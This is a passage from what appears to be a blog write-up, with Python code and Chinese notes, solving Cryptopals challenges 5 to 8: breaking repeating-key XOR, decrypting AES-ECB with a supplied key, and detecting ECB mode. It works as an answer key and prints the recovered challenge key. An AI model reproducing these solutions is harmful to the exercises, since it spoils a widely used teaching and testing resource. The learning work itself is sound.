print(repeating_key_xor_to_hex(b"Burning 'em, if you ain't quick and nimble", b'ICE'))
print(repeating_key_xor_to_hex(b'I go crazy when I hear a cymbal', b'ICE'))

6. Break repeating-key XOR

一开始没有还原正确，检查了一下发现是 # 扰乱了解密评分。考虑到英文句子里极少有 #，所以遇到就扣 5 分。

from base64 import b64decode


def get_score(message: str):
    score = 0
    for c in message:
        if c.islower():
            score += 3
        if c.isupper():
            score += 1
        if c == ' ':
            score += 1
        if c == '#':
            score -= 5
    return score


def get_key(cipher: bytes) -> int:
    results = list()
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((c, get_score(res)))
        except UnicodeDecodeError:
            pass
    return sorted(results, key=lambda x: x[1])[-1][0]


def repeating_key_xor(msg: bytes, key: bytes) -> bytes:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars)


def normalized_average_hd(data: bytes, unit_len: int) -> float:
    chunks = [data[i:i + unit_len] for i in range(0, len(data), unit_len)]
    num_chunks = len(chunks)
    total_hd = 0
    count = 0
    for i in range(num_chunks):
        for j in range(i + 1, num_chunks):
            if len(chunks[i]) == unit_len and len(chunks[j]) == unit_len:
                total_hd += sum((byte1 ^ byte2).bit_count()
                                for byte1, byte2 in zip(chunks[i], chunks[j]))
                count += 1
    return total_hd / (count * unit_len)


with open('6.txt', 'r') as file:
    cipher = b64decode(file.read())

results = list()
for l in range(2, 41):
    norm_hd = normalized_average_hd(cipher, l)
    results.append((l, norm_hd))
keylens = sorted(results, key=lambda x: x[1])

for k in range(1):
    keylen = keylens[k][0]
    print(f"Guessed key length: {keylen}")

    key_bytes = []
    for i in range(keylen):
        block = bytes([cipher[j * keylen + i]
                      for j in range(len(cipher) // keylen)])
        key_bytes.append(get_key(block))

    key = bytes(key_bytes)
    # print(repeating_key_xor(cipher, key).decode())
    print(f'Key: {key}')

# Guessed key length: 29
# Key: b'Terminator X: Bring the noise'

7. AES in ECB mode

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

key = b"YELLOW SUBMARINE"
with open('7.txt', 'r') as f:
    encrypted_b64 = f.read()
encrypted_data = base64.b64decode(encrypted_b64)
cipher = Cipher(algorithms.AES(key)) # Default to ECB mode
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

print(decrypted_data.decode())

8. Detect AES in ECB mode

print(max(open('8.txt').read().splitlines(), key=lambda x: len(c:=[x[i:i+32] for i in range(0, len(x), 32)]) - len(set(c))))